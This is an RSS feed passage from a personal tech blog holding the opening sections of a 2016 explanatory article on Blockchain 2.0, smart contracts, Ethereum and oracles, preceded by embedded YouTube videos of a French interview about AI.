&lt;a href=&quot;https://www.youtube.com/watch?v=lQY5_aHt42A&quot;&gt;What are the limits of AI?&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;b&gt;The interview was in french&lt;/b&gt; (sorry ...)
&lt;/p&gt;

&lt;p&gt;
The three videos can be viewed directly on this very page below.
&lt;/p&gt;


    &lt;div id=&quot;player_2&quot; style=&quot;max-width: 100%;&quot;&gt;&lt;/div&gt;

    &lt;script&gt;

        player = new YT.Player(&apos;player_2&apos;, {
          height: &apos;360&apos;,
          width: &apos;640&apos;,
          videoId: &apos;6g87mOszUWQ&apos;
        });

    &lt;/script&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;


    &lt;div id=&quot;player_3&quot; style=&quot;max-width: 100%;&quot;&gt;&lt;/div&gt;

    &lt;script&gt;

        player = new YT.Player(&apos;player_3&apos;, {
          height: &apos;360&apos;,
          width: &apos;640&apos;,
          videoId: &apos;jOH0akpSmos&apos;
        });

    &lt;/script&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

    &lt;div id=&quot;player_4&quot; style=&quot;max-width: 100%;&quot;&gt;&lt;/div&gt;

    &lt;script&gt;

        player = new YT.Player(&apos;player_4&apos;, {
          height: &apos;360&apos;,
          width: &apos;640&apos;,
          videoId: &apos;lQY5_aHt42A&apos;
        });

    &lt;/script&gt;

&lt;p&gt;&amp;nbsp;&lt;/p&gt;

&lt;p&gt;
Enjoy :-)
&lt;/p&gt;

</description>          </item>
    <item>
    <guid isPermaLink="true">https://www.niceideas.ch/roller2/badtrash/entry/blockchain-2-0-from-bitcoin</guid>
    <title>Blockchain 2.0 - From Bitcoin Transactions to Smart Contract applications</title>
    <dc:creator>Jerome Kehrli</dc:creator>
    <link>https://www.niceideas.ch/roller2/badtrash/entry/blockchain-2-0-from-bitcoin</link>
        <pubDate>Tue, 22 Nov 2016 15:29:02 -0500</pubDate>
    <category>Computer Science</category>
    <category>blockchain</category>
    <category>ethereum</category>
    <category>smart-contracts</category>
    <category>technology</category>
    <atom:summary type="html">&lt;p&gt;
Since Satoshi&apos;s White paper came online, other cryptocurrencies have proliferated on the market. But irrespective of the actual currency and the frequently debated deflation issues, the actual revolution here is the  Blockchain protocol and the distributed computing architecture is supports.
&lt;/p&gt;
&lt;p&gt;
Just as thirty years ago the open communications protocol created profitable business services by catapulting innovation, the blockchain protocol has the potential of being the same kind of breakthrough, by offering a just as disruptive foundation on which businesses start to emerge. Using the integrity lattice of the transactions, a whole suite of value trading innovations are beginning to enter the market.
&lt;/p&gt;
&lt;p&gt;
The key innovation here are &lt;b&gt;Smart Contracts&lt;/b&gt;. This relatively new concept involves the development of programs that can be entrusted with money.
&lt;/p&gt;
&lt;p&gt;
Smart Contracts are autonomous &lt;b&gt;computer programs&lt;/b&gt; that, once started, execute automatically and mandatorily the conditions defined beforehand, such as the facilitation, verification or enforcement of the negotiation or performance of a contract. &lt;br&gt;
They are most of the time defined in a Programming Language, which in the case of the Ethereum Blockchain 2.0 technology form a &lt;a href=&quot;https://en.wikipedia.org/wiki/Turing_completeness&quot;&gt;Turing Complete&lt;/a&gt; Programming Language.
&lt;br&gt;
Smart Contracts are implemented as any other software program, using &lt;i&gt;conditions&lt;/i&gt;, &lt;i&gt;loops&lt;/i&gt;, &lt;i&gt;function calls&lt;/i&gt;, etc.
&lt;/p&gt;
&lt;p&gt;
If blockchains give us &lt;i&gt;distributed trustworthy storage&lt;/i&gt;, then smart contracts give us &lt;i&gt;distributed trustworthy computations&lt;/i&gt;.
&lt;/p&gt;
&lt;p&gt;
To illustrate a possible use of smart contracts, let&apos;s take the example of travel insurance: finding that 60% of the passengers insured against the delay of their flight never claimed their money, a team created during a hackathon in London in 2015 an Automated Insurance system based on smart contracts. 
&lt;br&gt;
With this service, passengers are automatically compensated when their flight is delayed, without having to fill out any form, and thus without the company having to process the requests. The blockchain&apos;s contribution here consists in generating the confidence and security necessary to automate the declarative phases without resorting to a third party.
&lt;/p&gt;
&lt;p&gt;
The main advantage of putting Smart Contracts in a blockchain is the guarantee provided by the blockchain that the contract terms cannot be modified. The blockchain makes it impossible to tamper or hack the contract terms.
&lt;br&gt;
By developing ready to use programs that function on predetermined conditions between the supplier and the client, smart programs ensure a secure escrow service in real time at near zero marginal cost.
&lt;/p&gt;
&lt;p&gt;
Smart Contracts enable to reduce the costs of verification, execution, arbitration and fraud prevention. They enable to overcome the moral hazard problem. The american cryptograph Nick Szabo is deemed to be the inventor of the concept, whom he spoked about in 1995 already. He used to mention the example of a rented car, whose smart contract could return the control to the owner in case the renter forgives the paiements.
&lt;br&gt;
Interestingly, as a sidenote, Nick Szabo is also believed by some to be one of the person behind the Satoshi Nakamoto identity.
&lt;/p&gt;
&lt;p&gt;
In a general way, Smart Contracts from the heart of the &lt;a href=&quot;https://www.ethereum.org/&quot;&gt;Ethereum&lt;/a&gt; blockchain. Even if &lt;a href=&quot;https://medium.com/@CryptoIQ.ca/rootstock-smart-contracts-on-the-bitcoin-blockchain-e52b065421a8#.5n6ksxchv&quot;&gt;Rootstock&lt;/a&gt; aims at enabling the implementation of Smart Contracts on the bitcoin blockchain, the development of Smart Contracts technology is really rather related to Ethereum. The next versions of Ethereum are increasingly targeted to offering end users an &lt;i&gt;App-Store&lt;/i&gt;-like User Experience to Smart Contracts.
&lt;/p&gt;
&lt;p&gt;
This article intents to be a pretty complete introduction to Blockchain 2.0 technology and Smart Contract applications, detailing both of them as well as list the state of the state of the art of possible use cases being currently studied or discussed.
&lt;br&gt;
A big part of this article focuses on the Ethereum blockchain.
&lt;/p&gt;</atom:summary>        <description>&lt;!-- Blockchain 2.0 - From Bitcoin Transactions to Smart Contract applications --&gt;


&lt;p&gt;
Since Satoshi&apos;s White paper came online, other cryptocurrencies have proliferated on the market. But irrespective of the actual currency and the frequently debated deflation issues, the actual revolution here is the  Blockchain protocol and the distributed computing architecture is supports.
&lt;/p&gt;
&lt;p&gt;
Just as thirty years ago the open communications protocol created profitable business services by catapulting innovation, the blockchain protocol has the potential of being the same kind of breakthrough, by offering a just as disruptive foundation on which businesses start to emerge. Using the integrity lattice of the transactions, a whole suite of value trading innovations are beginning to enter the market.
&lt;/p&gt;
&lt;p&gt;
The key innovation here are &lt;b&gt;Smart Contracts&lt;/b&gt;. This relatively new concept involves the development of programs that can be entrusted with money.
&lt;/p&gt;
&lt;p&gt;
Smart Contracts are autonomous &lt;b&gt;computer programs&lt;/b&gt; that, once started, execute automatically and mandatorily the conditions defined beforehand, such as the facilitation, verification or enforcement of the negotiation or performance of a contract. &lt;br&gt;
They are most of the time defined in a Programming Language, which in the case of the Ethereum Blockchain 2.0 technology form a &lt;a href=&quot;https://en.wikipedia.org/wiki/Turing_completeness&quot;&gt;Turing Complete&lt;/a&gt; Programming Language.
&lt;br&gt;
Smart Contracts are implemented as any other software program, using &lt;i&gt;conditions&lt;/i&gt;, &lt;i&gt;loops&lt;/i&gt;, &lt;i&gt;function calls&lt;/i&gt;, etc.
&lt;/p&gt;
&lt;p&gt;
If blockchains give us &lt;i&gt;distributed trustworthy storage&lt;/i&gt;, then smart contracts give us &lt;i&gt;distributed trustworthy computations&lt;/i&gt;.
&lt;/p&gt;
&lt;p&gt;
To illustrate a possible use of smart contracts, let&apos;s take the example of travel insurance: finding that 60% of the passengers insured against the delay of their flight never claimed their money, a team created during a hackathon in London in 2015 an Automated Insurance system based on smart contracts. 
&lt;br&gt;
With this service, passengers are automatically compensated when their flight is delayed, without having to fill out any form, and thus without the company having to process the requests. The blockchain&apos;s contribution here consists in generating the confidence and security necessary to automate the declarative phases without resorting to a third party.
&lt;/p&gt;
&lt;p&gt;
The main advantage of putting Smart Contracts in a blockchain is the guarantee provided by the blockchain that the contract terms cannot be modified. The blockchain makes it impossible to tamper or hack the contract terms.
&lt;br&gt;
By developing ready to use programs that function on predetermined conditions between the supplier and the client, smart programs ensure a secure escrow service in real time at near zero marginal cost.
&lt;/p&gt;
&lt;p&gt;
Smart Contracts enable to reduce the costs of verification, execution, arbitration and fraud prevention. They enable to overcome the moral hazard problem. The american cryptograph Nick Szabo is deemed to be the inventor of the concept, whom he spoked about in 1995 already. He used to mention the example of a rented car, whose smart contract could return the control to the owner in case the renter forgives the paiements.
&lt;br&gt;
Interestingly, as a sidenote, Nick Szabo is also believed by some to be one of the person behind the Satoshi Nakamoto identity.
&lt;/p&gt;
&lt;p&gt;
In a general way, Smart Contracts from the heart of the &lt;a href=&quot;https://www.ethereum.org/&quot;&gt;Ethereum&lt;/a&gt; blockchain. Even if &lt;a href=&quot;https://medium.com/@CryptoIQ.ca/rootstock-smart-contracts-on-the-bitcoin-blockchain-e52b065421a8#.5n6ksxchv&quot;&gt;Rootstock&lt;/a&gt; aims at enabling the implementation of Smart Contracts on the bitcoin blockchain, the development of Smart Contracts technology is really rather related to Ethereum. The next versions of Ethereum are increasingly targeted to offering end users an &lt;i&gt;App-Store&lt;/i&gt;-like User Experience to Smart Contracts.
&lt;/p&gt;
&lt;p&gt;
This article intents to be a pretty complete introduction to Blockchain 2.0 technology and Smart Contract applications, detailing both of them as well as list the state of the state of the art of possible use cases being currently studied or discussed.
&lt;br&gt;
A big part of this article focuses on the Ethereum blockchain.
&lt;/p&gt;
&lt;p&gt;
(See first article in this serie : &lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/entry/blockchain-explained-beta&quot;&gt;Blockchain explained&lt;/a&gt; that provides a pretty complete introduction to the initial bitcoin blockchain technology)
&lt;/p&gt;
&lt;p&gt;
Or see part of this article as a slideshare presentation available here : &lt;a href=&quot;http://www.slideshare.net/JrmeKehrli/blockchain-20-69472625&quot;&gt;http://www.slideshare.net/JrmeKehrli/blockchain-20-69472625&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
Also, this article is available in PDF format here: &lt;a href=&quot;https://www.niceideas.ch/blockchain_2.0.pdf&quot;&gt;https://www.niceideas.ch/blockchain_2.0.pdf&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Summary&lt;/b&gt;
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#sec1&quot;&gt;1. Blockchain 2.0 and Smart Contracts &lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#sec11&quot;&gt;1.1 From Transactions to Smart Contracts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec12&quot;&gt;1.2 Smart Contracts Overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec13&quot;&gt;1.3 A little glimpse of Smart Contracts from finance perspective&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;#sec2&quot;&gt;2. Smart Contracts Operation&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#sec21&quot;&gt;2.1 Smart Contracts Design&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec22&quot;&gt;2.2 Smart Contract and Oracles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec24&quot;&gt;2.3 DAO&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;#sec3&quot;&gt;3. Blockchain 2.0 projects&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#sec31&quot;&gt;3.1 New Blockchain technologies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec32&quot;&gt;3.2 A focus on R3/Corda and Smart Contract &lt;i&gt;Templates&lt;/i&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec33&quot;&gt;3.3 A first focus on Ethereum and &lt;i&gt;Turing Complete&lt;/i&gt; Smart Contracts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;#sec4&quot;&gt;4. Ethereum in details&lt;/a&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#sec41&quot;&gt;4.1 Ethereum concepts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec42&quot;&gt;4.2 Ethereum and bitcoin differences&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec43&quot;&gt;4.3 Etherscript&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec44&quot;&gt;4.4 Hello World in Ethereum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec45&quot;&gt;4.5 Further Ethereum Examples&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec46&quot;&gt;4.6 Private chains in Ethereum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec47&quot;&gt;4.7 Ethereum GUI - Graphical User Interface applications&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#sec48&quot;&gt;4.8 The DAO and The DAO Attack&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;#sec5&quot;&gt;5. Smart Contracts use cases&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;#sec6&quot;&gt;6. Issues and challenges&lt;/a&gt;&lt;/li&gt;

&lt;li&gt;&lt;a href=&quot;#sec7&quot;&gt;7. Conclusion&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;a name=&quot;sec1&quot;&gt;&lt;/a&gt;
&lt;h2&gt;1. Blockchain 2.0 and Smart Contracts &lt;/h2&gt;

&lt;p&gt;
Smart Contracts are most often the central component of the next-generation blockchain platforms.
&lt;/p&gt;
&lt;p&gt;
Blockchain technology is much broader than just bitcoin. The sustained levels of robust security achieved by public cryptocurrencies have today really proven that this new wave of blockchain technologies can provide efficiencies and intangible technological benefits very similar to what the internet has done in the early 90s. 
&lt;br&gt;
Blockchains are a very powerful technology, capable of going much further than only &quot;&lt;i&gt;simple&lt;/i&gt;&quot; financial transaction; a technology capable of performing complex operations, capable of understanding much more than just how many bitcoins one currently has in his digital wallet. 
&lt;/p&gt;
&lt;p&gt;
This is where the idea of &lt;b&gt;Smart Contracts&lt;/b&gt; comes in. They form the &lt;i&gt;cornerstone&lt;/i&gt; for coming enterprise blockchain applications.
&lt;/p&gt;
&lt;p&gt;
In this article, we will explore what a smart contract is, how it works, and how it is being used.
&lt;/p&gt;

&lt;a name=&quot;sec11&quot;&gt;&lt;/a&gt;
&lt;h3&gt;1.1 From Transactions to Smart Contracts&lt;/h3&gt;

&lt;p&gt;
The Blockchain 2.0 is an evolution of the blockchain protocol enabling not only to exchange transaction but rather code and programs in the form of Smart Contracts 
&lt;br&gt;
Now developers are allowed to build programs and API&apos;s on the Blockchain Protocol.
&lt;br&gt;
This relatively new concept involves the development of programs that can be entrusted with money. 
&lt;br&gt;
Smart contracts are programs that encode certain conditions and outcomes. 
&lt;br&gt;
For instance, When a transaction between two parties occurs, the program can verify if the product/service has been sent by the supplier. And only after this verification is the sum transmitted to the suppliers account.
&lt;/p&gt;
&lt;p&gt;
By developing ready to use programs that function on predetermined conditions between the supplier and the client, smart programs ensure a secure escrow service in real time at near zero marginal cost
&lt;/p&gt;
&lt;p&gt;
Apart from Financial transactions, smart contracts are now entering a whole lot of different industry. 
&lt;br&gt;
One can refer to the section &lt;a href=&quot;#sec5&quot;&gt;5. Smart Contracts use cases&lt;/a&gt; to have a look at the use cases and the industries that can and will be disrupted by the blockchain technology.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Ethereum&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Ethereum intends to bring together both a &lt;i&gt;crypto ledger&lt;/i&gt; and a &lt;i&gt;Turing-complete&lt;/i&gt; programming language. Ethereum&apos;s objectives is to turn a simple browser to a &lt;i&gt;Swiss-army knife&lt;/i&gt; of blockchain applications by providing tools that allow non-technical users to truly leverage the technology.
&lt;/p&gt;
&lt;p&gt;
Ethereum aims to implement a &lt;b&gt;globally decentralized, un-ownable, digital computer&lt;/b&gt; for executing peer-to-peer contracts in the form of actual software programs.
&lt;br&gt;
Put more simply, Ethereum is a world computer you can&apos;t shut down.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/b6da3764-76e8-4507-a930-86c814ba5347&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 740px;&quot; alt=&quot;Blockchain Smart Contracts&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/b6da3764-76e8-4507-a930-86c814ba5347&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
&lt;b&gt;Smart Contract Definition&lt;/b&gt;
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;div class=&quot;centered&quot; style=&quot;border: 1px solid;&quot;&gt;&lt;b&gt;Smart contract is a term used to describe computer program code that is capable of facilitating, executing, and enforcing the negotiation or performance of an agreement (i.e. contract) using blockchain technology. 
&lt;br&gt;
The entire process is automated can act as a complement, or substitute, for legal contracts, where the terms of the smart contract are recorded in a computer language as a set of instructions.
&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;a name=&quot;sec12&quot;&gt;&lt;/a&gt;
&lt;h3&gt;1.2 Smart Contracts Overview&lt;/h3&gt;

&lt;p&gt;
A smart contract is a digitally signed, computable agreement between two or more parties. A virtual third party - a software agent - can execute and enforce (at least some of) the terms of such agreements.
&lt;br&gt;
In the context of the blockchain, where it truly takes it sense, a smart-contract is an event-driven program, with state, that runs on a replicated, shared ledger and which can take custody over assets on that ledger.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Smart contracts provide a viable method of issuing tracking ownership of unique digital representations of value, which we call money.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Smart contracts are simply computer programs that act as agreements where the terms of the agreement can be preprogrammed with the ability to self-execute and self-enforce itself. 
&lt;br&gt;
The main goal of a smart contract is to enable two anonymous parties to trade and do business with each other, usually over the internet, without the need for a trusted middleman. 
&lt;br&gt;
The origin and history of smart contracts is much older than bitcoin and dates back to the 90&apos;s. The term &quot;&lt;b&gt;Smart Contract&lt;/b&gt;&apos; was first used in 1993 by one of bitcoin&apos;s alleged creators, Nick Szabo, and referred to &lt;b&gt;self-automated computer programs&lt;/b&gt; that can carry out the terms of any contract.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/0071693c-3bc0-4105-9b37-724e28c6da94&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 400px;&quot; alt=&quot;From Traditional contracts to Smart Contracts&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/0071693c-3bc0-4105-9b37-724e28c6da94&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Traditional physical contracts&lt;/b&gt;, such as those created by legal professionals today, contain legal language on a vast amounts of printed documents and heavily rely on third parties for enforcement. This type of enforcement is not only very time consuming, but also very ambiguous. If things go astray, contract parties must often rely on the public judicial system to remedy the situation, which can be very costly and time consuming, down to sometimes useless.
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Smart contracts&lt;/b&gt; on the blockchain, created by computer programmers, are entirely digital and written using programming code languages. This code defines the rules and consequences in the same way that a traditional legal document would, stating the obligations, benefits and penalties which may be due to either party in various different circumstances. The big difference is that this code is automatically executed by a distributed ledger system, in a non-repudiable and unbreakable way.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;b&gt;Smart Contract code have some unique characteristics.&lt;/b&gt;
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Deterministic&lt;/b&gt; : Since a Smart Contract code is executed on multiple distributed nodes simultaneously, it needs to be deterministic i.e. given an input, all nodes should produce the same output. That implies the Smart Contract code should not have any randomness; it should be independent of time (within a small time window because the code might get executed a slightly different time in each of the nodes); and it should be possible to execute the code multiple times (idempotence).&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Immutable&lt;/b&gt; : Smart Contract code is immutable. This means that once deployed, it cannot be changed. This of course is beneficial from the trust perspective but it also raises some challenges (e.g. how to fix a code bug) and implies that Smart Contract code requires additional due diligence/governance.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Verifiable&lt;/b&gt;: Once deployed, Smart Contract code gets a unique address. Before using the Smart Contract, interested parties can and should view or verify the code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;b&gt;Smart Contracts benefits&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
For a wide range of potential applications, blockchain-based smart contracts could offer a number of benefits:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Speed and real-time updates&lt;/b&gt; : because smart contracts use software code to automate tasks that are otherwise typically accomplished through manual means, they can increase the speed of a wide variety of business processes.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Accuracy : &lt;/b&gt; automated transactions are not only faster but less prone to manual error.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Lower execution risk.&lt;/b&gt; The decentralized process of execution virtually eliminates the risk of manipulation, nonperformance, or errors, since execution is managed automatically by the network rather than an individual party.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Fewer intermediaries : &lt;/b&gt; smart contracts can reduce or eliminate reliance on third-party intermediaries that provide &quot;trust&quot; services such as escrow between counterparties.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Lower cost : &lt;/b&gt; new processes enabled by smart contracts require less human intervention and fewer intermediaries and will therefore reduce costs.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;New business or operational models &lt;/b&gt; : because smart contracts provide a low-cost way of ensuring that the transactions are reliably performed as agreed upon, they will enable new kinds of businesses, from peer-to-peer renewable energy trading to automated access to vehicles and storage units.&lt;/li&gt;
&lt;/ul&gt;

&lt;a name=&quot;sec13&quot;&gt;&lt;/a&gt;
&lt;h3&gt;1.3 A little glimpse of Smart Contracts from finance perspective&lt;/h3&gt;

&lt;p&gt;
&lt;b&gt;Just as a Bank account with embedded instructions&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
There are some elements of bank accounts that behave like smart contracts.
&lt;br&gt;
For instance, a bank account has a balance. Every month, for instance, there can be automated payments deducting amounts to pay various bills or fees, for instance for pension plans, If there isn&apos;t enough money on the bank account, the payment fails, the owner can get fined, and another workflow is triggered.
&lt;br&gt;
There are instructions that need to be set up and associated with the account.
&lt;/p&gt;
&lt;p&gt;
This is similar to what a smart contract can do, except that a smart contract running on a blockchain is run by many parties rather than being controlled by a single one.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;How is this different to automated banking payments?&lt;/b&gt;
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Control&lt;/b&gt; : 
The bank is the ultimate guardian of any bank account. It has complete control, and can arbitrarily add money to an account (well, that never happens !) or subtract some (this does happen, and one needs to argue to get it back).
In a blockchain ecosystem, there are no single source of control and participant agrees on decisions by distributed consensus, meaning that multiple parties are constantly checking and re-checking updates to the ledgers, and anything that doesn&apos;t conform to pre-agreed rules is rejected by all participants.
&lt;/li&gt;

&lt;li&gt;&lt;b&gt;Code&lt;/b&gt; :
With a bank account, there is some logic creating transactions on a monthly basis. That code sits on one computer and is executed by one party (the bank). There are internal controls and reconciliations, but there is no external validation.
&lt;br&gt;
With smart contracts running on a blockchain, the logic is run in parallel on all the participating computers, and the results are compared by all participants. Participants only change their own version of the ledger if they agree the results. No one can cheat a blockchain, in theory of course.
&lt;/li&gt;

&lt;li&gt;&lt;b&gt;Transparency&lt;/b&gt; :
For all participants in a blockchain ecosystem to run the same code, each verifying the other, the logic of the smart contract must be visible to all. This means anyone can look into a smart contract, and if use it if one wants. &lt;br&gt;
There will be smart contracts for general usage, and also very specific smart contracts. The transparency is both a pro and a con. It&apos;s useful to all stakeholders of the contract to agree on what happens; on the other hand it&apos;s not just the stakeholders that can see what happens - it&apos;s everyone on the network. Privacy in blockchains is a contentious issue.  There are solutions to the privacy-vs-validation tension being discussed, some using zero-knowledge proofs; which will be the subject of another post.
&lt;/li&gt;

&lt;li&gt;&lt;b&gt;Flexibility&lt;/b&gt; :
The single logic that applies to a bank account is pretty much limited to automating payments. It would be difficult, for instance, to automate a payment from a salary account to a savings account every day it&apos;s sunny, then have it all sent back when there is a storm (the &apos;saving up for a rainy day&apos; smart contract).
&lt;br&gt;
A so-called &quot;Turing complete&quot; smart contract can do anything that a normal computer can do, though the blockchain version will run much more slowly and be more expensive to run than on a regular computer (depending on the set-up of the blockchain), because ultimately all computers on the network need to the code in parallel and of course they have to be paid for it.
&lt;/li&gt;
&lt;/ul&gt;

&lt;a name=&quot;sec2&quot;&gt;&lt;/a&gt;
&lt;h2&gt;2. Smart Contracts Operation&lt;/h2&gt;

&lt;p&gt;
In order to understand how smart contracts work, it is important to first make the distinction between the smart contract code and how/what that code is being applied to.
&lt;/p&gt;


&lt;a name=&quot;sec21&quot;&gt;&lt;/a&gt;
&lt;h3&gt;2.1 Smart Contracts Design&lt;/h3&gt;

&lt;p&gt;
A smart contract can be broken down into two separate components:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Smart Contract Code&lt;/b&gt; - The code that is stored, verified and executed on a blockchain.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Smart Legal Contracts&lt;/b&gt; - The use of the smart contract code that can be used as a complement, or substitute, for legal contracts.&lt;/li&gt;
&lt;/ul&gt;


&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/0d6dab61-2db6-41fa-81a5-974686e2a538&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 750px;&quot; alt=&quot;From Traditional contracts to Smart Contracts&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/0d6dab61-2db6-41fa-81a5-974686e2a538&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
A Smart Contract is a computer program that runs on a shared, replicated ledger, which can process and store information, as well as receive, store and send value.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;How Smart Contracts work&lt;/b&gt;
&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;b&gt;Coding&lt;/b&gt; : what goes into a Smart Contract
&lt;br&gt;
Because smart contracts work like computer programs, it is very important that they do exactly what the parties want them to do. This is achieved by inputting the proper logic when writing a smart contract (more on that later). The code behaves in predefined ways and doesn&apos;t have the linguistic nuances of human languages, thus, it has now automated the &quot;&lt;b&gt;if&lt;/b&gt; this happens &lt;b&gt;then&lt;/b&gt; do that&quot; part of traditional contracts.
&lt;/li&gt;

&lt;li&gt;&lt;b&gt;Distributed Ledgers&lt;/b&gt; :  how the smart contract is sent out
&lt;br&gt;

The code is encrypted and sent out to other computers via a distributed network of nodes running a distributed ledger. If this is done via public permissionless blockchain such as bitcoin, the contract is sent out similar to the way that a network update of a bitcoin transaction would occur. This can also be done in a permissioned or hybrid distributed ledger platform such as the R3 Distributed Ledger.
&lt;/li&gt;

&lt;li&gt;&lt;b&gt;Execution&lt;/b&gt; : how it is processed
&lt;br&gt;

Once the computers in this network of distributed ledgers receive the code, they each come to the same agreement or consensus on the results of the code execution. The network would then update the distributed ledgers to record the execution of the contract, and then monitor for compliance with the terms of the smart contract. In this type of system, single party manipulation is averted because control over the execution of the smart contract is no longer possible since that execution is not in the hands of a single party.
&lt;/li&gt;
&lt;/ol&gt;


&lt;a name=&quot;sec22&quot;&gt;&lt;/a&gt;
&lt;h3&gt;2.2 Smart Contract and Oracles&lt;/h3&gt;

&lt;p&gt;
Some smart contracts systems, including the one built into Bitcoin, are strictly deterministic. In order to interact with the real world, these systems rely on informations (and cryptographic signatures) submitted by outside systems called &quot;&lt;b&gt;oracles&lt;/b&gt;&quot;.
&lt;/p&gt;
&lt;p&gt;
Oracles are &lt;b&gt;trusted entities&lt;/b&gt; which sign claims about the state of the world. Since the verification of signatures can be done deterministically, it allows deterministic smart contracts to react to the (non-deterministic) outside world. 
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Oracles are required to connect smart contracts to critical data feeds, any web API or various accepted payment methods.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
As mentioned previously, Smart Contracts are executed by examining all the conditions of execution which have been defined in advance in the contract code. For example, if a contract includes a condition to run after January 1, 2017, it will be impossible to execute it before that date.
&lt;br&gt;
The problem then arises, naturally, from the validation of these conditions of execution. Two scenarios are then possible:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
The execution conditions of the contract are linked to other entries in the blockchain or are simple time markers. In this case, checking these execution conditions is very easy: the contract is programmed to verify that these entries exist or that the execution time is passed, and it executes when this is the case.&lt;/li&gt;
&lt;li&gt;
The conditions of execution of the contract are outside the blockchain (realization of a service, occurrence of an event ...). In this case, the execution of the contract requires the use of a trusted third party, called in the Ethereum jargon an &quot;oracle&quot;. 
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
An oracle is instructed to enter the blockchain information reliably so that the contract can run properly and can be constituted in several ways:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
Prior designation of a trusted third party known to both parties;
&lt;/li&gt;
&lt;li&gt;
